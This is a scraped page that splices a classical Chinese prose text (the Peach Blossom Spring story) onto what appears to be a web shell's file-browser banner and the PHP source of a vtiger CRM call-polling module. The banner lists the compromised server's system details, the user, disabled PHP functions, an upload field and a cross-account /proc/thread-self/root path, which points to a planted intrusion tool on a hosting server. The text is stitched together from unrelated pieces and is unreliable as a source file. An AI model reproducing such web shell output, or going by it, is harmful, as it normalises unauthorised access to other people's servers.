晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/thread-self/root/home/akaindir/www/crm/modules/PBXManager/actions/ |
Upload File : |
<?php
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
include_once 'include/Webservices/Create.php';
include_once 'include/utils/utils.php';
class PBXManager_IncomingCallPoll_Action extends Vtiger_Action_Controller{
function __construct() {
$this->exposeMethod('searchIncomingCalls');
$this->exposeMethod('createRecord');
$this->exposeMethod('getCallStatus');
$this->exposeMethod('checkModuleViewPermission');
$this->exposeMethod('checkPermissionForPolling');
}
public function process(Vtiger_Request $request) {
$mode = $request->getMode();
if(!empty($mode) && $this->isMethodExposed($mode)) {
$this->invokeExposedMethod($mode, $request);
return;
}
}
public function checkPermission(Vtiger_Request $request) {
$moduleName = $request->getModule();
$moduleModel = Vtiger_Module_Model::getInstance($moduleName);
$userPrivilegesModel = Users_Privileges_Model::getCurrentUserPrivilegesModel();
$permission = $userPrivilegesModel->hasModulePermission($moduleModel->getId());
if(!$permission) {
throw new AppException('LBL_PERMISSION_DENIED');
}
}
public function checkModuleViewPermission(Vtiger_Request $request){
$response = new Vtiger_Response();
$modules = array('Contacts','Leads');
$view = $request->get('view');
Users_Privileges_Model::getCurrentUserPrivilegesModel();
foreach($modules as $module){
if(Users_Privileges_Model::isPermitted($module, $view)){
$result['modules'][$module] = true;
}else{
$result['modules'][$module] = false;
}
}
$response->setResult($result);
$response->emit();
}
public function searchIncomingCalls(Vtiger_Request $request){
$recordModel = PBXManager_Record_Model::getCleanInstance();
$response = new Vtiger_Response();
$user = Users_Record_Model::getCurrentUserModel();
$recordModels = $recordModel->searchIncomingCall();
// To check whether user have permission on caller record
if($recordModels){
foreach ($recordModels as $recordModel){
// To check whether the user has permission to see contact name in popup
$recordModel->set('callername', null);
$callerid = $recordModel->get('customer');
if($callerid){
$moduleName = $recordModel->get('customertype');
if(!Users_Privileges_Model::isPermitted($moduleName, 'DetailView', $callerid)){
$name = $recordModel->get('customernumber').vtranslate('LBL_HIDDEN','PBXManager');
$recordModel->set('callername',$name);
}else{
$entityNames = getEntityName($moduleName, array($callerid));
$callerName = $entityNames[$callerid];
$recordModel->set('callername',$callerName);
}
}
// End
$direction = $recordModel->get('direction');
if($direction == 'inbound'){
$userid = $recordModel->get('user');
if($userid){
$entityNames = getEntityName('Users', array($userid));
$userName = $entityNames[$userid];
$recordModel->set('answeredby',$userName);
}
}
$recordModel->set('current_user_id',$user->id);
$calls[] = $recordModel->getData();
}
}
$response->setResult($calls);
$response->emit();
}
public function createRecord(Vtiger_Request $request){
$user = Users_Record_Model::getCurrentUserModel();
$moduleName = $request->get('modulename');
$name = explode("@",$request->get('email'));
$element['lastname'] = $name[0];
$element['email'] = $request->get('email');
$element['phone'] = $request->get('number');
$element['assigned_user_id'] = vtws_getWebserviceEntityId('Users', $user->id);
$moduleInstance = Vtiger_Module_Model::getInstance($moduleName);
$mandatoryFieldModels = $moduleInstance->getMandatoryFieldModels();
foreach($mandatoryFieldModels as $mandatoryField){
$fieldName = $mandatoryField->get('name');
$fieldType = $mandatoryField->getFieldDataType();
$defaultValue = decode_html($mandatoryField->get('defaultvalue'));
if(!empty($element[$fieldName])){
continue;
}else{
$fieldValue = $defaultValue;
if(empty($fieldValue)) {
$fieldValue = Vtiger_Util_Helper::getDefaultMandatoryValue($fieldType);
}
$element[$fieldName] = $fieldValue ;
}
}
$entity = vtws_create($moduleName, $element, $user);
$this->updateCustomerInPhoneCalls($entity, $request);
$response = new Vtiger_Response();
$response->setResult(true);
$response->emit();
}
public function updateCustomerInPhoneCalls($customer, $request){
$id = vtws_getIdComponents($customer['id']);
$sourceuuid = $request->get('callid');
$module = $request->get('modulename');
$recordModel = PBXManager_Record_Model::getInstanceBySourceUUID($sourceuuid);
$recordModel->updateCallDetails(array('customer'=>$id[1], 'customertype'=>$module));
}
public function getCallStatus($request){
$phonecallsid = $request->get('callid');
$recordModel = PBXManager_Record_Model::getInstanceById($phonecallsid);
$response = new Vtiger_Response();
$response->setResult($recordModel->get('callstatus'));
$response->emit();
}
function checkPermissionForPolling(Vtiger_Request $request) {
Users_Privileges_Model::getCurrentUserPrivilegesModel();
$callPermission = Users_Privileges_Model::isPermitted('PBXManager', 'ReceiveIncomingCalls');
$serverModel = PBXManager_Server_Model::getInstance();
$gateway = $serverModel->get("gateway");
$user = Users_Record_Model::getCurrentUserModel();
$userNumber = $user->phone_crm_extension;
$result = false;
if($callPermission && $userNumber && $gateway ){
$result = true;
}
$response = new Vtiger_Response();
$response->setResult($result);
$response->emit();
}
}
?>